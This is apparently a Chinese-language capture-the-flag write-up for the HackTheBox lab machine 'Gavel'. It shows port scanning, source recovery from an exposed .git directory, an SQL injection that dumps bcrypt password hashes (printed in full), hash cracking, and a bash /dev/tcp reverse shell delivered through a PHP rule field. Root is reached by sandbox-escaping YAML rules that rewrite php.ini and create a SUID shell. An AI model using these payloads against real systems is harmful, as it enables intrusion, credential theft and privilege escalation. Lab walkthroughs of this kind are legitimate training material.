Gavel
扫端口
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sC -sV -A -p- 10.10.11.97
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-04 03:11 EST
Nmap scan report for 10.10.11.97 (10.10.11.97)
Host is up (0.38s latency).
Not shown: 65451 filtered tcp ports (no-response), 82 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open tcpwrapped
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=1/4%OT=80%CT=21%CU=34603%PV=Y%DS=2%DC=T%G=Y%TM=695A212
OS:0%P=x86_64-pc-linux-gnu)SEQ()SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%TS=B)SEQ
OS:(SP=104%GCD=1%ISR=104%TI=Z%CI=Z%TS=B)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%
OS:TS=B)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=Z%TS=B)OPS(O1=M542ST11NW7%O2=M542S
OS:T11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11NW7%O6=M542ST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=N)ECN(R=Y%DF=Y%T=40%W
OS:=FAF0%O=M542NNSNW7%CC=Y%Q=)T1(R=N)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=N
OS:)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=40%W
OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%
OS:RUD=G)IE(R=N)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 835.41 ms 10.10.16.1 (10.10.16.1)
2 241.55 ms 10.10.11.97 (10.10.11.97)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.51 seconds
域名gavel.htb,直接访问301跳转域名,添加解析记录
echo "10.10.11.97 gavel.htb" | sudo tee -a /etc/hosts
扫描发现git泄露
┌──(kali㉿kali)-[~]
└─$ sudo dirb http://gavel.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Jan 4 03:45:14 2026
URL_BASE: http://gavel.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://gavel.htb/ ----
+ http://gavel.htb/.git/HEAD (CODE:200|SIZE:23)
+ http://gavel.htb/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://gavel.htb/assets/
==> DIRECTORY: http://gavel.htb/includes/
+ http://gavel.htb/index.php (CODE:200|SIZE:13976)
==> DIRECTORY: http://gavel.htb/rules/
+ http://gavel.htb/server-status (CODE:403|SIZE:274)
githack还原
┌──(kali㉿kali)-[~/GitHack]
└─$ python GitHack.py http://gavel.htb/.git/
代码审计,username有过滤,但貌似能输入%00,不过看样子做二次注入估计没戏
$ less register.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
$confirm = $_POST['confirm_password'] ?? '';
$errors = [];
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
$errors[] = "Username must be 3-20 characters, alphanumeric with underscores only.";
}
if (!$username || !$password || !$confirm) {
$errors[] = "All fields are required.";
} elseif (strlen($password) < 8) {
$errors[] = "Password must be at least 8 characters.";
} elseif ($password !== $confirm) {
$errors[] = "Passwords do not match.";
}
if (empty($errors)) {
try {
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
if ($stmt->fetch()) {
$errors[] = "Username already taken.";
} else {
$hash = password_hash($password, PASSWORD_DEFAULT);
$createdAt = date('Y-m-d H:i:s');
$money = 50000;
$stmt = $pdo->prepare("INSERT INTO users (username, password, role, created_at, money) VALUES (:username, :password, :role, :created_at, :money)");
$stmt->execute([
'username' => $username,
'password' => $hash,
'role' => 'user',
'created_at' => $createdAt,
'money' => $money,
]);
...
login.php更加证实了这一点,看看别的文件是否有收获
$ less login.php
...
if (isset($_SESSION['user'])) {
header("Location: index.php");
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
$username = filter_var($username, FILTER_SANITIZE_STRING);
if (!$username || !$password) {
$_SESSION['login_error'] = "Username and password are required.";
} else {
try {
$stmt = $pdo->prepare("SELECT id, password, role FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user && password_verify($password, $user['password'])) {
session_regenerate_id(true);
$_SESSION['user'] = [
'id' => $user['id'],
'username' => $username,
'role' => $user['role']
];
header("Location: index.php");
exit;
} else {
$_SESSION['login_error'] = "Invalid username or password.";
}
} catch (PDOException $e) {
$_SESSION['login_error'] = "Server error. Please try again.";
}
}
}
...
看到inventory.php,感觉user_id有问题,post在最前,然后是get,最后才是session,那肯定存在越权了,尝试post发包不知道啥情况行不通,也没太深究,就用get发包试了一下,能遍历!
$ less inventory.php
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventor
y WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}
foreach ($results as $row) {
$firstKey = array_keys($row)[0];
$name = $row['item_name'] ?? $row[$firstKey] ?? null;
if (!$name) {
continue;
}
$meta = [];
try {
$itemMeta->execute([$name]);
$meta = $itemMeta->fetch(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$meta = [];
}
$itemMap[$name] = [
'name' => $name ?? "",
'description' => $meta['description'] ?? "",
'image' => $meta['image'] ?? "",
'quantity' => $row['quantity'] ?? (is_numeric($row[$firstKey]) ? $row[$firstKey] : 1)
];
}
$stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
$stmt->execute([$_SESSION['user']['id']]);
$money = $stmt->fetchColumn();
GET /inventory.php?user_id=0 HTTP/1.1
Host: gavel.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: gavel_session=1r0j9668q8ci19jg6hnce9gnpg
Connection: keep-alive
然后发现id为1和8时返回包长度不相同,访问看看


没看出来啥意思,也好像遍历不了这个藏品,难不成得等bidding里面刷钥匙?硬等了半个钟眼都花了,看看别的有啥可以弄的
$ less bid_handler.php
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
在bid_handler.php中,找到了runkit_function_add函数,这个函数可以动态的创建一个函数,也就是这个地方八成是有RCE,但可以利用这个函数的地方只有admin.php
没招了,实在看不出来还能做啥,看了眼wp才发现原来确实是有注入的。还是inventory.php,用了pdo但是没完全用,$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");这一段中$col貌似是可控制的,尝试通过sort注入
curl http://gavel.htb/inventory.php?user_id=a`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27a`+FROM+users)b;--+-&sort=\?;--+-%00
获得账户密码,应该是bcrypt加密的
auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS,barrylo:$2y$10$LpWJbUciDZEXYBkZ5qJ6M.LMLSkgyaRQg0kHcZhOYF8EcF9817ogC,testryu:$2y$10$O2u5ltJJ61b5EKcF/OzpTOdN0ie7gbnGCsupa8yBeYFmD6qliPuh6,test:$2y$10$rwoAkF.0UT.L9AH4bcjmF.VM40ptRUen/oaHGwEF8NvNX3FmmEJHa,user:$2y$10$oiYG3Q987ytrXBybPj6xfOw/WYuEwi2wjElL.cFHneobNvfBGVfDa,wtf:$2y$10$VnUS9lVSxMyD9e0QqizrDe9PRgDldf99/aY/oFDt3n/ihnSXlTA6a,trganda:$2y$10$VCkwzR5ScnCnAurnWBgjGOfPjAXpfA5uwCvIEdMJ1p/5zP9rmjMii,admin:$2y$10$OsCSv0sdy45YHmUBDZ25b..eMRbJVVdoZs9.CQoEjd.IDZMI8fQmu,abc:$2y$10$Jm6SDzsTbmxfYKAlBkpN0.QISMVGdwtMIwR.8DIwDJK5SXYKBV7UW,aaa:$2y$10$RdbPIl/J1uqBbTWS9WjVB.1fZ5gWHlrkeLDx5xLMnK8xtOiqdJhDK,username:$2y$10$TMuSYtyslOinX0Hcq5R1E.pLAol1IR72.Fqazn9RSxKOVCK4GPHpe,aab:$2y$10$JibtEBeZWu3AXUHQiZmwDOfsIGF5x/X8hV6OFD2hN4JpMgyaeFUb2,test2:$2y$10$dHGaCXs7P04HQ.Js.zFb5uCJGXUP88GUMefvSQEXeB.XIN3I2.OgW
直接用第一个,上john爆破
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
吃个饭洗个澡回来已经爆完了auctioneer:midnight1进入后台一把梭
POST /admin.php HTTP/1.1
Host: gavel.htb
Content-Length: 139
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://gavel.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gavel.htb/admin.php
Accept-Encoding: gzip, deflate, br
Cookie: gavel_session=k133t4e3tukaomo068gb45h8qp
Connection: keep-alive
auction_id=818&rule=system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.16.20%2F4444+0%3E%261%22%27%29%3B+return+true%3B&message=abc
然后就是不知道为什么反弹shell死活连不上,弄了一晚上都没好,睡一觉起来拿昨天的payload试了一下突然又好了?怪事
┌──(kali㉿kali)-[~/gavel/gavel.htb]
└─$ sudo nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.20] from (UNKNOWN) [10.10.11.97] 55734
bash: cannot set terminal process group (987): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
su auctioneer
Password: midnight1
ls
auction.php
auction_watcher.php
bid_handler.php
config.php
db.php
session.php
s.php
进来之后发现是apache的用户,这权限肯定不够啊,但是之前有爆破出一组用于登录后台的账号密码,尝试使用这一套密码登录
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
su auctioneer
Password: midnight1
auctioneer@gavel:/var/www/html/gavel/includes$ cd /home/auctioneer
cd /home/auctioneer
auctioneer@gavel:~$ ls
ls
user.txt
成功拿到用户flag
找提权
auctioneer@gavel:/$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/su
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/fusermount3
auctioneer@gavel:/$ ps aux
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 100484 11296 ? Ss Jan04 0:30 /sbin/init
root 2 0.0 0.0 0 0 ? S Jan04 0:00 [kthreadd]
...
root 938 0.0 0.0 19128 3836 ? Ss Jan04 0:00 /opt/gavel/gaveld
...
看到有个/opt/gavel/gaveld是用root起的,看看有什么用
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini
cat php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
感觉用不了,php被限制在/opt/gavel这个目录下了,再看看有没有别的能用的
auctioneer@gavel:/usr/local/bin$ ls
ls
gavel-util
auctioneer@gavel:/usr/local/bin$ ./gavel-util
./gavel-util
Usage: ./gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
需要三个参数,但具体干什么的不太清楚,仔细想想貌似之前在/opt/gavel下见到过yaml格式的文件,或许可以用?
auctioneer@gavel:/opt/gavel$ cat sample.yaml
cat sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
貌似是合理的,用gavel-util提交的yaml会加载到gaveld里面,gaveld在root权限下,意味着在yaml里的rule里面写入PHP代码就是直接以root权限执行的
auctioneer@gavel:~$ echo 'name: exp' > exp.yaml
auctioneer@gavel:~$ echo 'description: exp' >> exp.yaml
auctioneer@gavel:~$ echo 'image: "1.png"' >> exp.yaml
auctioneer@gavel:~$ echo 'price: 1' >>exp.yaml
auctioneer@gavel:~$ echo 'rule_msg: "exp"' >> exp.yaml
auctioneer@gavel:~$ echo 'name: exp' > exp.yaml
auctioneer@gavel:~$ echo "rule: system('cp /bin/bash /opt/gavel/exp; chmod u+s /opt/gavel/exp'); return false;" >> exp.yaml
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit exp.yaml
/usr/local/bin/gavel-util submit exp.yaml
Illegal rule or sandbox violation.
Warning: system() has been disabled for security reasons in Command line code on line 1
噢,得要先给函数启用了
auctioneer@gavel:~$ echo 'name: ini' > ini.yaml
auctioneer@gavel:~$ echo 'description: ini' >> ini.yaml
auctioneer@gavel:~$ echo 'image: "1.png"' >> ini.yaml
auctioneer@gavel:~$ echo 'price: 1' >>ini.yaml
auctioneer@gavel:~$ echo 'rule_msg: "ini"' >> ini.yaml
auctioneer@gavel:~$ echo "rule: file_put_contents('/opt/gavel/.config/php/php.ini', \"engine=On\\ndisplay_errors=On\\nopen_basedir=\\ndisable_functions=\\n\"); return false;" >> ini.yaml
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit ini.yaml
/usr/local/bin/gavel-util submit ini.yaml
Item submitted for review in next auction
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit exp.yaml
/usr/local/bin/gavel-util submit exp.yaml
Item submitted for review in next auction
这下就好了
auctioneer@gavel:~$ /opt/gavel/exp -p
exp-5.1# whoami
root
exp-5.1# cat /root/root.txt